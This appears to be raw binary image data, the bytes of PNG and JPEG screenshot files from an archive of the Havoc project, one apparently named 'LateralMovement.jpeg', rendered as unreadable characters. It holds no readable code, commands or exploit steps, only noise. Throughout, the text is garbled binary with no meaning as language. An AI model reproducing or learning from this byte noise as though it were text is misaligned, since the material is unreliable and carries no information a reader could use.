܀Pj9dS#ʣiyWr]8qzZYXIMִSYl+>Ξ#4﷗FL1sZzxŚM+ }vKֲf|7-+Ԝ'tnXr0 ݘ{U<֢q\^BM)m~=Rv |ǤXƱ)OhF6.^ۺQI,P.@a vTM]JṳQFӾ+V*L!,Cp}s " ]@eEƭaXك_ <-ug|z6n6N.]{2HyIݙJf|llvnTռ=T_q֑r.0 qm ^Zp٭ɤ]Z5)e{N~Y^[TZ_yba XrR9kOn^^lp8O\ nO\r%aX=eB]]s_ca5s+oBZ)v5P]Cc5N8bW¡ð^p/a+V]1µR zjDR}Sx`[wiij@47go^jYo}n .hmK]ZKĠqb{2r/a0?.Ih87" xցkd$~.IGmE95"Vj D@~sWotynbk!Ƅ +%]h7m.1фRFSvDY*#i]V$[J;p%l44_U+ݡ_M"~58H?fsHNm4'KG|&\|ҽ G3 I# D^Kq;ڵ߸iť>ņh%j]6 8-sBi%|@TPdoS+)0mO#$+uV(ju'h ;Ǎ;h^yŠH+P0ZȤdsLY^4orE> Za8%Ej0M4KҊ~ۯ@yWfI`X#ChM:&q#Gz6{d}57,ܰdjӯf>z {zeD{fIxwz]8ٚ>ѡ^<Ҽ3bN;.>o[*Eǭe/Ѻ@R 6N:frZ.+{;}mfcwfN<  vsC'BZZRދTDr]Ԕ2M4IUW&z_mLk"v h&_yP 2ߔ+[E~ x[^aMz0(lsUoFQ+HzHBGh׷ z|hKq{Ͽx{=3м^=3QDkBuWw:=.͔PS6^T"=xY,X:hMK~46^)Y* `ox21ѪMI 5uNPCM1T!.YAU(#~j˿إ*YE*k`;hݥiT\]\TB0ij`qߝ陖 EUŮ:'[ ~60v8T02!RGyɤǞjvmρqmgTrSiŶIcբ{.TЎ|&ehn ͍ڑ!\K:78mhbdW}-٤4E1/^R20ZY:NuziƏLЄgZ9ܺ\t/.5|k= ٥}IFSH)b55_$jM˲#z:!y D}u.cv miR뎣lIgERmMJ|@/ˤw!e<xB RP9v !ʕZaz<+s/>- P{wT 63cμz(_t!TLρd@Qdz_UY7Rd}' :5eN6E4;Ml3180LskٷMɂwi縀ZE<ɟw:0R|"bZ56[zr2˫d'-|MA6սu"Gn7Egߩyr' JQm4t̊MMpY%@FP inw@=5ʖb@e1!- *-:kgN1I<mP3*R*:k4ZHqY\ٰ2 f6d*gLE]NӂAGrKP#gթ(_au%\z5s|NV5ɪ6x=w}1^h0`z_R49ސ0sH}'\D'jiriKYϣk`kPJ)/ *^c(Ԩ rJjEW&Êep(vgJ[B,Y)Y=3KZĐvPOLn@TNcbIFѮkƱ>xگ,I",I* hrKpL.dpӌDpfKz0@K0K)K@h.u(q_$.)KS_3MkKZWqP'ūHvٷ_}κK-o۷{K2c?v[ֳsr2gj޽y׫uI(J;5xB$ nrv^rOdxsd$)nbL.R2YR">HXDa8VٔJ+i}/נRͣ&_s"iidۛK}` 9V4g;Z\N;f:4&+i" `( EhmA|#]٥T-O)0z@By*K%cDZpGUqmʟsKC`i8ɤ] >fxnCE7 QI!ɎGNޘ=&!saQXhȁuzSrR9oyݼbD"fX>T|7b^CΞҴ!`Q e) ]x@ |"YV/[mGJߥ0 |8bW<8PpE),Yt]KaXkXæ6] ðkhzfa7bz4SSP]r#"#BBB.y0@^o~nIR)ؕaV,Ya7M3$E1 [o96IְkR ($^bWFV5jy2澯\?}#2ݞ_P~'^Oq$z=Z61e;~CNsᯍc|p4ݑɠr@ G=Ȃ'6e،M c fyGb"elyŇvE[3<Ԋmʫgy"LȄ2,JݟJZ 0b6Ũ;Ohk(=kmZ* 5E0Lq#:We9bvE16:RT4 @ T쒚=3}gkT{ҬοYnlWd;h{:HB=´w[4,I+jmo]V,'a a5q#GR=K(% P8OgZ`]EޘRwXen9>yi5O>ռdemLpB/fyQ'|1uD;ucV|OD}f6Л @l' xoUOh 1Gڟ͓$rkDɤbz^~UqMc|$k"v hވ7NBd|?)P(,sh@ʓ90 7aRa?'ֿJ.#w|}_/_w:ko{|1i 49s6ورtz >?}̼oR:vh]V=^ݫPm#?5פ{i>ܙ8PZq:g嫊;{nfJ)k/zW|{U,X:hMK~46^)Y* `ox21ѪMI 5uNPCM1T!.YAU(#~j˿إ*YE*k`;hݥiT\]\Tpf ݩ Z}lsz%{QU ~î =L/!vf]hM&hݶG#C$-e ?Q+tn:p?BZhӳI!hib^hϽP*he`tW)477 ϴNsu"_\kz@aKxAR-jk H.eGtC$AS(\0Z$G;XB酨f)/J g>u^J#Hh|D-19$vohܹ7e.KA%&G*Wj ̽#':BQ$ۜgl :|х@PRğ3=jFM IDATGI~VqdIPJq, הD8%DfTd4l`0B]HfJ4% ޥj$Q\ðkLH*g7c!g 8r]:*:ԲihaWr%2.[ 1!W6+UlYv4,Jj\濻jhߴ;]ߔh 7UdśzW)S^sLnl)@X&<ђ"ܲl#(ivCYP5C"2VߑHShU5_Gs3[{2srb3"Fi#9%v@D味T/\0캒r.Gqv#o)^xq9'h >ZlOy͒[ ߞys^ YV okʢ;ӊ1IniP9V{6GJiپ~NL^O n_k`kPJ)/ *^c(Ԩ rJjEW&Êep(vgJ[B,Y)Y=3KZĐvPOLn@TNcbIFѮkƱ>xگ,I",I* hrKpL.dpӌDpfKz0@K0JYB˗Vw2KGY"qNYysC7jۥmURmGġsml]{ѯSPz=BZЫ_Z28r\lҮk>ZFj9CEs9+/VՂF"سKZ>\ eu 8筒,M %©jEצ?$ 0j tIo.J}^Oa8.yHքjaðC)v΃ ["E׵45V5lji0 xfkl60 w So9P]r#"#BBB.y0@^o~nI^`‘R0 +BvV,K7,aui(a@\xH`ot10 .pZjPaݲJJ`6pp(0 nYʊjF^1 0얇C)a+W oO p^u_n(͉QwtijS{W0mQZ+@>op-5f?ץ5F21h}-x32P:M0ޑ;O""2bQ4/mPJFSpӲ'/Z5sgc YYN b^hfL1fx\rҺAh:c(ɎkQFӎljEgl>@ z4LcHαڿ=a$\k{*uWG7|حdȀԇܺuʙCbZD_7>g۬6,ehQ"vċzUE:<}hJ@6:8>|znUu6ukpl=!ku4s1)!:ba v, \)#aa&2~a!D޲ڟUa7[>Cm|77_Iuo0ȷό_~[:m.46] *bhՅO=TrK< x|@麚Rӕsb qu$׵s%!=ڄFC (c`@Ѧ3_[IAP׵[adsq[.iKU;O# tej:][>c)`F_|sء4KmY4mƓX:;A](Oq_c~>{ mT|@9ό]d } X+e/.T'el]25b5:(0 c|enhs8/1$.pIq`k bϬ !@z0idJX:Sv2=8 eOx3m qnof%q{61dh J^PbJa$1Y(f/,d-u Nt>zoz7Ϲ?S+.0mK"Y*,o󹢴mMĒo>ã*I&J0H TVwQ_{/kYUwmvA;bE H{$!=2ChK]*9sd9ujtCQ! ,̿/m_DD[|>kѦq#E=Vn99Vv-q6=T-,zaku/oJ`9Κhlu~P5 *zzk.?]6&z֯KˮMO("&QkZ수P*c./|zH1NoMPq]'kIAXdO.sk!TT9'$Y.ht~JTd:_[v>:G%F 篎k3rRz]{.?oA1Xc_Su^ׇ7B8E/sŝro=z)!cβv¨/_h}oH0)7ϼm>x达sWyvs)o`<5}~""IO,"O>|g#,N]N^YwͫG͚qo k{/ˎ="uO;"ŵ|!22,i+sFGT聙AaOrR0-yɎ"ٻshrDlOR6#5cRDD3_!Tֲ6o5cvlOy0gqu&;vgZMgIK>ls 8mE-[#Z[^ƚOJ=ӻ)bj`1'y-qwgemzSpFZtFǣ߮/u}O/z<V>zZH g;w\-/ 9E$b>wGl|ie0N]=ٱRjhr-BKslEvȪjϞ"ZZ~HDkZ=ihpa,YS|WI("b/{$\+GDnċ7>tg8$/v[uO5{%>׌zik5]83Y_*F_͹q:MqܦjCus|1)e Ufǩ uKmqYWwV]\U@D#V|Mө}{D$b7cZh~Y,]D圙TѺߝbDP`?UHIR%{?;""5t@BIQ1[2OS[Dc\Y#_V=ua- H݌P[y=d']*X|_)y-"26d`7aʒ-mE Uܾ>RBqK9i :ȜUz0qS(;S*"uS?u9ː\|Y]h\""h$ݯ3 [g%E[F)XD'hoY߹KKϲi}N1й|ʴ !+jt-0D|vcjED>bEz;;eMG)W("&cIdCw_ލ6 fSm $suIJhZCK|A)ƨ75~qӫݨDlZPtj1ww#ӪUӸ$!n2VmX"dGZW隥e W$?zvk^eW*پ=,}]U}U5f/-/ʉsTҢW{ {aRjl{0wm~I5I6mhjwM$E~<`Dl_:v~dga NUֳh2X{x׻gs6(F&Z8Wpe%Uztv*{~a2+j5yqy14[[Yv4hbF_17mh[I˛kk >kcI9䘫ʶ=Uhb@ݟ"}?8rĥOm_HD$K7f36{=8₦筹ڎ}_YߧW_o؊Ӗdzm*ݰPM|Z.7xvŜ{èy7Mܿ|r/3z->؛rqQ)(gN]䔸sSAux{Xƪ_z ̎lD4)4ͤ==3j{&O2x?2sgh/_x+/^I1:&^RSqǒm̶jc^ڃAw[*Մ=nvָ9;ŒU~ 7;$9{Vy/^a]{>]R5-z$""Y?>zɺbԬN-/3{<;aDd'VzHgtPD7cڢp 7F~}Ñ۶=W9zO(""p_c@(;Ā?AJMFS(  GDzB/ HrnehXbۍS> HzKGuwr@Nh+*z7z|x4iJZla oY6m ENt:?rfEB42猼A-3n+yqv1.nzDVңz꾉H=)12ng).յ-%{nh;%0%eĿ`l1,"Za-&_ՠ?WzNپg|w-o#HN6j'uk޵]զ^op;7,R9qn=) "pҢs&LxmOl;quĎȪO6,kw ֋ghDCʚN7wWո13Ңm[=ykn[^ٵ2M."U YUJwENB Ϳ:x[q Wgi5'jRD$4fKU;92W|i\웤XX*6ڐr]]Y;5,"ڠ+ }IMOoȽ%G%irɹC mpdS -\Α2""[No(bs2W/R ~q.azi͔f=U7ϣ'DjUr'hڴ|")ֻ1, Luκ,^Zָ-*(Em0ggs֗8f1^ҸEd?a-f03]cmG/uKעC_Dťřu̎*mܪ[dۍMkQrۻ B>!AuuԨGZEyKX[EmS-!h86)7&N'k mG#>_(_ey֝F>+"_N P}ŋM>7xu׶_5ZiJX9sAOZuMzמvu? uV_?wK~bKҴH(T. [E`owM0HЕ>k }"_|:URcAPӵtMUU}+#:iWl.}agrp$T6m ^o[]Ѽs~JBntrlӲ+=YŵiN),p0ō՟8\ʽ!^U?),"b•S̤̆`пjk@HYQr̴{Bq.*mh7;Ioo=Wז|o1h ]WQNKo4eܙ}Ɗok<;}#ko#/(k uZ=5`m ח _X&"k,\Q-+"=T{ w^J@`U{[FӫUx[Jޜ{Չp~vo׹"n]j^qDH)ߪ.uUIi;o0~x\^h|{{ ы7 h{_,HEQtjƏlS=Q䧵uʂgG^FN_?qٷo.19\%ܾ?G=4>hqލt^Fs{897⨠ް-r\ g]%wZaѱP?^x8RRRRR)+h` 7e;NF%w9hƊsǾ".s{H0+K ̶Z& I،p_QQRgghi9E%Dx]Vw{ߘUKefe~zBTuI|/5YwQONɭ)ծCɑ>h~y2JQWǮxW R R R R R R -8)TQqtp8lZ}>Au,ᬘ*:lVfpcWRiF8**"GD9 ߟ7yɢKMZ< s 'O~~+q=U+ZQF;{]}#?6;{{4jd'aw+>qwA{Ѵ6H-='=GUDc?I.] 5!DžO).ϊuC?C.1sо8z5KJ ]/y뎯tKo\t1w}-"2eO:,bݔw398[ ~t2fXogJ>>se;㪡';{_yņ4|Lgym>n#YNG. ;$ǰnhu6+Hm+6mCAptf[r ε :w=!5vm*6eڦ gO#qli'v_ַMWȶ| rIhE|OofM+_O27mujz^!+,"5[" {}a_ΔzFŏxҞ7+ h #%k@dѫO}gn. 8Sb6=6Ed3Yw 8:4Z-+Ύ1N]>.cj_><{'#FW=٣~xʰ_|=% +u ?|x]>nԤY[gh=r܈?{J9>-usm#Ǝzg9Vw8/~2 -{<+Wl,sF؂ 7c+N]5{G/xG_74~y5q .V84aG/z$wUnZ>w^ />|ܸd{?oj{ޒZ+=f]^wnY9Y)J+"oםk7;޻[k>{ovq/e {*KV/Z洉{;U}Ywn[ӈO*?)>iKW{n'C"Od騑rM.['o.1/0]ApT[uEu*1)m f}_1`W:jg$ܾW/pD% ^͕sz!&Ly~,jFctxk MsAw^P;7y(!(!(!(!(!(!(!(ieeм3VRAԼ+)м3(Z)JH)JH)JH)JH)JH)JH)JH)JH)JH)JH)JH)Jr''5{?UQ퉏l>'쨈0#= @JvIFBޑpl (!(!(!(!(!(!(jG@s9Mv5UAKB -sN9G`,ziQ;!@sk{+mڝujsulQ:H 7Oc;KsDȁ?R Ԯ.xWm_wy!qOG$ۺh2" ָ R"i{']:Βuflhnwӕ~g[B"7yQ;{E/#""_gl|JrV[Et} @s 2KLy"v͑uݭg_KvˣE$] };Y/ {`Kw ,,)uzf_s7ZۅbSl3Ulp60k|:)Tb۶,ںڗ&5]X ED3Ͽ`/EcsŬ<{]덚ٞNĵOF?}~R (3Yo}줽6;Ň.r~~W MyyٕZnɻ.t)uןR)I YD\?4 R 3{?wֶvlc W/]Q>+o'Smyq8am瀼^=AKi?Ymƈ̙=# yuJ'lsCҮiTGhƩlf[ ]@ @s0fܟf2~'SVNjۖ}nATw_Q>7!ܥSoaWrNeS˜3$- ؅O-1,;GUӶiw轉'v{xX\>@Jfꨋz}]UbR!v#=#7!G`?+@ )@ )@ )@ )@ )@ )@ )n':m9C 8'>R,:ң_+wnyǿQdžW;]jGݮv+jc/J "mY#Nl@AR~kg0ߥ^B dعBiGv4sL""hLfK ;yh8&Z#up,zMkr&hV[. u= l &72յhG9+ETSR 4->!hv讚'.zSMu]wuDv EmgBM+BPqIENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/LateralMovement.jpeg000066400000000000000000006623411467014221700250530ustar00rootroot00000000000000JFIFC  !"$"$CK" u{<_b|_C729/g/oEp89 خy:ߕIH<U_HÈ׮m1;đPXp`1RF9~㽩w>_~W|"S? HW<ŝqoʃX*ٯRaWO)V +9ߚ6d09ܘ4N^j=ܛŻ>~륿tÎϪ>wzPWv-y=_05ۦr ghv_C}/7cs|]ax'!;=g\[)#kqOb_b[i[o>LXuΤO{ ^w3ͫՓּەs1ӰWvjKp~C ~ϋ>) 5޲uʭW\|}.O_=T |\u~[8{>0 HW<ŝqoʃX*ٯRaW]1V +PMdûcc~# ;\k5gٯY\j[ƒF:Iy:ͿbBmMv7[Eil[4}9ըx%:tunfx@Wv;g&Z7z|ng>oz~`޻GVXy泾z~(\ZK/?W7}XMyc|@,sFF(NC$v+{θAR,Gl)sw _u&d_]RM cܝ̭/r-mʏsT?W`B=C\㋕idWv+xp٣;.ɢo?5&]oɈ1@g7ٱ]G*E:)$} VYu~f|}?O2Gb,~T% qV}"3{Tu2تsb=wb2abROaCsfzu3<;YqֿM_~7=wI4,eS_?orw2ۚ8|ȵϯ_*=9S3sK]{- qs.W=@\8 _>_|/SGr{xcluᷢ.MmѤ1TkǏտcz_Y'ǏF@'r=+;$hφDz{oRջ(#@<\8Xn_&]t“=U>y}f)٣clq'O| b[UC4|z J1C>[| bZWto\:P~~wE}(ڃ2s&1[C1Z3>.րNCXp`hӏ}cߒo|f>vi4htm VmFdM|_{uߕO0^=/@^? O>{WvK$VZ^ਾ(M?=/? ˨drG@XK61~{髖3<}gω0?F?_~_ `<\8d}yqxѭ.'{|s&q? P$>RlQTP{Ee{֗ ەݬkcva8x'!,p>ǣgCABύ/O#qC>|7||~&7߯s3klW"P/ܧ p5{S55ᲾidM\@w<S,֣-s̑P(HK+;)O=OcZG5yc=样NwZhKpIsb/bZ7iqYu$n֌.9=N.j\]uZ⻛ZpRzeoѲku,#'R֦>"Mqj{V×FjcfOC| GR<${s^#nnE:6kTwuNImԞ#B\Rӥjjܵ,'ll}q.{폞A/ n|oBT s%|OMj1vq|=c64)fܧ~h^r5sxɈots7v5}d{ssBX+hf+;)O=NvMX"̐eY7%zC&O+#'B-:% er^^Gkv_g˞)w=kKmW^17l?[*.ԶuxPfzu43> <˭cz"y`&.sZbz2K5Igfq}ZEydu43> <˭ʓٽh긊q>nl f}X{6.:ƁRw;q3X%˹&Zlf-V"ϪbbX<5:q4O`2Cݕg|ޠ:Ox7y\yq<^htv1 \4,Ʈ֢8O8jK9R\7Q- | RbfmnfYmdysVi%KIj3nQE̼ }O*k^F=ku((:R4uK+S.j\5Ɲe [EZXscR}Fsozi5Ϳ3NNUTI/El (:R4uK+S.kkn8*ܪI)Qqc*jԃ1㏡_穅TۨZQ^衳l͗W4i7UX_% ^oȧv&aqDw-a%;CD(hf+;)I|y[\,ޱVWIL}b.pKMi,iG6J\YhCcs` bbunUy$(8f\Ah"B7sth[)RGҴG,^K,E[c+ʦҪ;;cZMIUv{PU,hҫVLA@u43> <˭]mVKVZ՝V^y'~kUհbinXcʳwџ=M+O$ݷn\҆iHq2(hf+;)J:SySA,$!$=VX{⤇'MĞWGO/WZ.uyrN6^]KQR5h{9ղӊ[9Z"V+*+fn :R4uK+S.jּ"xsg似%xQ^ϗ=E76R3z*H瞸8[u{eݜcR|k/=N6tBWsC\^qm0r3Әs=+k=n׷{YGME$9X~ hf+;)I|y[^~ERZ/s׌M]Jd.j&6Y">5e+$f0X&ngi]mhg{hOP9YH>UKUmo-ЩDQ= }PWWƠWw,Ru43N;&XI{^C,fH{KMO\<<^Oe:\;󅈮TpҚVu?cWkQAGw&VBfaꚸU#O9\fE4PMnf_hq*١ڑZ 89DbX,ޣG\2ϚԼ'wug似%xQ^ϗ=E76R3z*771w3G:hN},҆KG2z>͒G1bZn+ynLt"ܤwr C8C>eg5{e,m ʶz٥t玩L, RO{M pr)\SC1\ܱJWWw,Ru43U>].g71k|;}kO}iEQ"nϖ\AlGS2ZgʾN}gΕ_eM 7Z>='>ٴ|8>y\;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;tEpv+7bc^k 1Ƅ5EFcxз5cLѭVo$Zӆg0\8jK.4g J Q*TBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBTBg=Epv+:Ve~Nb8藮z+;|y?412 !"3P`p#@$45%0A0{tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttN?><58䠈cɛ), ̜;EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[EmV[Emc:bxx$%W@R:5ix⚫J%IۢN8jl`8:~_ P'X \RD~:PFS _C?V4/k5őj.O ;+N-pE_Y7`5ջK ^wi*<<+%Wn1~ Ǿ6 R9Ebbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbx^v'nC!dAS5)(JO_Cg8`W`Mj٩P{"̳'i~ QVfy!>@i>{U'J/գ/ԟyǜPuQ5dS>%,F+)I4c3yK^'J\#SbN;iCGJV:N|"0P,sM8իP"8ͻ<9$9qZ8$ȵU['"Ow/C->4x/o_G_'x'0epɔhO.g_v'=;K=GU:E'69)?IOc(:2_Ȓ\e#Q1ˀ%_y|q~/lb7whf)&Sţ <`Aku(]pxn#Wq 2p^ȌTdx Qd 7ܤ&I@E$ ExuXso_o;?G]<~:g`R [6 )5)vn+̔8\jxNKOhezc(y|D.hv<⃪c%z(Qb1YJLjM*X$2 i#`s /"̠yFLj]>-cDUl[%Y8Hb}]`Xuly[ۯKOlRe[,~pyxԾ_ש`Ǧ 2K^y낲8J}x;ALjizpxYݡ Loh'rv'Z_flOR~:EyGR֗ yĦqP5ZE\zrVÌ (cg|w P#Pax1d ^}֡ZpX-S6><4=O8<_Fك,nSL74_fp"WYZ(qP<+"?5H6Ո2;5ӫ \ۊ`"m\?4‡ Pxد*eMWR߲4.6'Q2%i±ty̵cbȤ LíWMH$@Dq(SQ Ixu ?b}Pj39p۪ C:8c _!GdK^=@/?,و'\em)pjS)SxxXn3zV*?]ʽc/ԟyǜPuQ5dS>%×yM %5.ؗ$2 -ISU Zv3X ,BkNlļ$:KTh>( {N)]=Kd+U]r1rq1E%=f1!9oA[S$%&6vKflIKr,ʩN6FLІ9^Z*X`g '7KP˨yFjy"RuUjw+cYH]K EKg#WU_ؾT>v'PϬ\Sۊ]q+Qvj.['s$9Q&׍:'e抁x/QVC9?c/7/dܑ$qDl.=zz^s ,kG_/o_o;?@AI)ʹNY]s$Z)X`/7/,E ܌|qxP`'V[nV[KJM G^N@nG_/o_o;?pAK\>B2rjV`IxQqRn|q}|O5>qr9?QKZǨ디gɨ{~??53?)U)SN)ÓP'%e??5 J=B 2,OuCFK׌+IziN)y|q}|O4a2ڗfOG^uG^uG^uGDlŬC? دQ#*x.2^\mSb=зTKbj>~b}P>xm7'2x\v9.:KN6Ku:6 ү<$)P]M_Jn}? Qjc[5xrDk]+OO>V>~b}P"MV̥׍j\nJyoc9B/Rv"Z=;Gn_g}%q_kXCgJ$I*)ȭRË?:v S $ _Ȱ+A",/"™EdR1a!)g`B ^$EWJMqkq?~nzS_ؾT>v'є$?PPPn@ G|K?.^hG mr1nϑ/1Irf^UDaC wQ5#h(/0P_{*#'3~b}P9B1Yi(F9@XnZ 5rBk w;0l&/O Jԗ^ip1aldE@izͥjCHCgoSW'd 5ڲK QxXCgkep)kbҐ Ih4'K5#L#.fCUbU$1#X:JF{Qw N2NA,TkXV G(MZv*,}? D=$ֻtSFUp/&h.0R}Ip2k5Mߨs݄u=k`2ܓT-ˏ4|odj^o7Ajn)k]o4}? TR5 qꋾϧ1%U!Vz^RШ ^#^&Bdu/#/7/Ļ5[~R-a191A&^V'XP ܥ=r+:h϶*33؏w3IE$dJBpڡ9Iq45|]@v X)ZQvW+2VqΤ7Oڕv&&M7`f.(k\n;ZzB,% o&)-@+G0dh4O's'8Z֡\Bֳ!Ѱuxk•UƻF r9 v=+qvWp'GܾT>d̟2ZQhXQhpu8B*Q1/ gH8iN1ŌB2x8 8/ff ' diŚY sn6yt&)ILc(,p:N[We]FJCUl-2ʉr-jҍ)1IG,Į'*RyQ) $a #SdbT(1˟I2n4Xuj)`A{#؃@/>"a-WiC͕I݌Vgyc#.c/] f;vöZXfR6e򑝞u?%eř=}!X 1J<M:!&7yrr{ |{`0fz`r!7(v ~Y4ޯ J&( S==y 5 Z`ތxrb$)k˕~;5flU1[c>'ƓCL@6&8k6gD(2C J?lp ^.O[i_EvV'x&IL(Pb5f9BHm`j :ׇ6tX8ԉ- 4$:%jՅP#HhE+uqf4)I)B *-K*P3=|$l `'eUCG#%)]?v4H”ŨZ,ӝxܾT>dҔWSk2I%4Tf_iYZK'kEezR ܹX'ѰW1kQط;AnBz` ];BQGik-mEdn0z%ZV'c`5&͹Z !1WYnȁ,=1 !&j_vf"ӕ [V B=zƶkEgr}PQ{:j_MyvWcٍxK$S줭АGb sٳE6q^OOT.j²*SlX3UF)5)W-O(̟ k^Ww|x[ kU@uF7ڋ͸LTxƯq# ط)HZ"GpX#D}ֿ WO(̟ k؁0EeR.橹Zan>LMRd%Zr$H(Jr_#RxQzBq8!j< 6|p5)©)GZcvUir^ ;!SwxuJ2Pnf 'NRjXUmգ܁DxoI8I٠JN}|얻@NJ+ ,cZ5o0ol$8nHWB/9_٭y 2_i"r9'|^3vy?CZZuz2)ExoiEv/zX&$f䠋{l<ҽۑS N7 XN}|/>?>'1Z9=2Z8f\N`#3LcłxGR:a]p+k1ce 2'í *EvfVq6\([^jd !JRxq"wm.8I!Se0qJI8 صnl}COKfPseovcXˬXxBَӜ$BKw599u9|ggOiqf{Ou{6x+l'1yFdhbć tDz#g'Km!P 8<\$&ҿ*7 N4MDP"jr&z8!TZW"I9ڄ:dW>o=)ĞjsP]XSHZsI/̟R4٣*C wm\{8F]DZXNiYZK'kEezR ܹX'ѰW1XC`l f-u58n38<v ѽen5g  խ?c. \ҿ'1.^%ܾT>dhc^Z!vlݮ Xc^R)+t$ا0¨lo9MqWS Uԍx񀍋Fjt¥9>%r}PQ-v #P1W*N v`aR?j({QqY =~A{E;)KC Vr#D}ֿ WO(̟ k؁0EeR.橹Zan>LMRd%JrIdx`vK] '%Cpuya~-rVsw/2R7Iwgf5BuGdd\6zC/F6)1>-o uW%7J PLxr{=V:`0Np^э̟r}P@#_o2|CAhIEc!EhuF B348X-~u 2M#(0dp6q>^h0@NU~+5:BËJvj07dXHE_zdi_} >'R%j (u9;[ٌ,de,ekt!vh,F$c"Kg599u9|ggOiqf{Ou{6xnYȇf|IIr2v2g!^qg`@RZqΚmf)%h70|<,LԆߕ o#qȂ|7<{;%?wQ~# ܛr!YʥW/f'.f7<}CO&) _XlHMwc8ɘ_ccc+Km+ҪDOI) ,Fч!fhF$ T ɝM)BpXV.<]vx$yO,^4'' ](V$Js# *H9ITc0V)`IxԚor}PJPf4e_aNO8M84 oQ,G% ̋ 2)Wn\֬^h+ծ@ vDKPZ[n錺 b6Ɗ='/b -)nLU m(uٽ''%깘q=Y/q]kf=1 vy<1/>5ױaVu4ݯǛ7k5xV=ׁԸA5>J v)0'=4[zi7UEBAH)"V뵛N4ILJ(X~B#f^}|얻[ϕyYwDž00ƵZ\|cpwY=ۄJnjj? =}є}%+5^Xޓr$<쀤yYZ(HK@d\r}PIBxW Uu<%8qFF&8W<"t?8(gƦHЏy!$^ zEb[;UyӫqH&Hx⸛:P^4pT!ƆW±L4xIBW(OSVWhѫRսdžv%BR# ;ՀGM6}2cf: TO%Ht' ΁c 5 MG,b(UwNܔ'b&}CO)Alѕ~X9W%TmZ$&o";3KF%hr,\Z7eXB:95BY@{ 5rZF[ZV j"85Mj8*GZ3NmrV d7;b*|$3e) x I|j&'!YM"[( j+m̷t \sb%܇t/7bRLHJ% 6~NfvFŀ9>\zx-dR>FsEO.'cr}PIBxW Ur(\ac*sy0"?=u$(Nx޽Xҭǔ PG֨X`EBԱR8 L3Ӭ&Ed4K]'Ɣ6hʿP¡lbgsϾMpZ|- %}ƟaAy폑"Axr =븬,%PyNv0N;\[#;{kZi^w=>Cdց^8,L Kaw6o,rjDdzcwW 坈+\w~FRr}PIBxW Ur(\ac*sy0")'z+0 g-Zc#4ߍ$PHY &m+|tlQ8Tp481ҝAS8`aIVc\|xFc5 < UZiq%TX`U4B/^i&㋈^8R$:dŜƼT8*9x~7yҜgf "5aE@}|(3M20[\5֟! Bk_`1_(@{#k5 yu]Ƶyxc{(HД9XƱ<@azX *@N=8I pVн@m:B\Nٗ+nF^N GܾT>dhc^Z!-2Q1בJ:{B(idJeqq:Ylj!&)@#N::Sb٬JZX),࿧ʑ"§r}PQ-v #P1W9&k>B־cO|Rw.T1-{e VnX]X֕Wy*""Nnco#8Cr3-[\ ̟ k؁0U:QUj<:)GOtaER O:W%GuA;6< rUP!L>:䝾:c,«sFB־cOPW!G!diDZBԪ͏VCtpG;3g:9jw%cq ǀLÈ$xJYpDp=<$ZPiT)(G"܈ZLmHk^lr!;Rr!|HB!dٔGծ~9d %ge`0~C[Jo #_o2|j41b\RA)F>z Tb9F!6-WJp':nK*Dl":'Ahc-F^AXS#(O"+IyF(kՋ 9 a郝{ˆ,֩X(\1/>5`"4bԭY.IW#淛X _r5êő${1 z%K\fSg:2#sajŭz5ݯhWFɺb"y R2WY}|/>?>'1Z9=2Z8f\N`#3Lcłb,b#EAce 2'í *EvfVq6\(Zy hUm0OO.;+Qc)*:p qv:Kf(!~4/[΍^/'/tIYvO .Rf䌌9/>"a-WiC͕I݌Vgyc#.c/Wd%ͣ7,f䘱%̤l#;<~KL3{ٶCNjVѷN*<'["(J,j׺U[FY돒#bKP<^o+RT/4vbPmp WHrg4 r}PIBxW Sulapi0,cc+Km+ҪDOI) ,Fч!@p9@DLz#;Ty dHs9iO|WcZQ8rR ӐPn ;@ttjɡVIj`­"қJA IB8mz+GxTv8+HsGܾT>dҔWTxDrEo-)Bpؑfc/Q,G% ̋ 2)Wn\֬^h+8!mҵ(X3RVq4 IûBah+JBy5mxq<Ԝޣm9]1%8F5 @`K_XN}$5"W8r$þ_>'ƣC u*afq*dz:H&I[ 9DfyBm&㊽4:H]ՅxqFjt¥9>%r}PQ-v #P1W*N v`aR?j({QqY =~A{E;)KB|ҹr#D}ֿ WO(̟ k؁0"V L^*eݬx¦PM!ˏ,BZENC:pȄa~HE@Oq#qY'5<{nML~J Vv:gǯ gBA 9T3E7Ht:DUeJ}2RƈqvE!$GܾT>dx`vK]ՎՅaHR]b0 ߻v wzXC(7G'yJB%<'PwS RY)]r8Q^z.GO~.Odhc^Z!vlݮ Xc^R)+t$ا0¨lo9MqWS jB9arnl}8+'3Q(`z>'ƣZFlb>Uf¤kPqQdn+1{-wFR)zU94[qUkg#u.r2څr}CO&) _Vid^,8mƖNy^ \F5_tH՟dV#B'Ɣ6hʿP¬_+*6ƭhC Г\7n Υw״9] 